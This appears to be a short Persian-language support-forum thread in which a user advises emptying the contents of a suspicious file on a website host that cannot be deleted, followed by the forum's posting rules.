ولی تغیر میدم هاست رو

0
آرمان جمشیدی

سلام

اگر این فایل به نظرتون مشکوک هست و پاک هم نمیشه کد های داخلش رو پاک کنید

لطفا قبل از ارسال پاسخ، این قوانین را مطالعه نمایید:

  • به هیچ عنوان از لینک سایت‌های دیگر یا لینک‌های تبلیغاتی در پاسخ استفاده نکنید.
  • تا حد امکان متن پاسخ کامل و واضح باشد.
  • محتوای پاسخ را از سایت خود یا سایتی دیگر کپی نکنید.

از آنجا که هدف ما ایجاد یک فضای مفید برای همفکری و رسیدن به پاسخ سوالات است، در صورتی که پاسخ شما یکی از شرایط فوق را نداشته باشد، توسط ناظرین تایید نخواهد شد.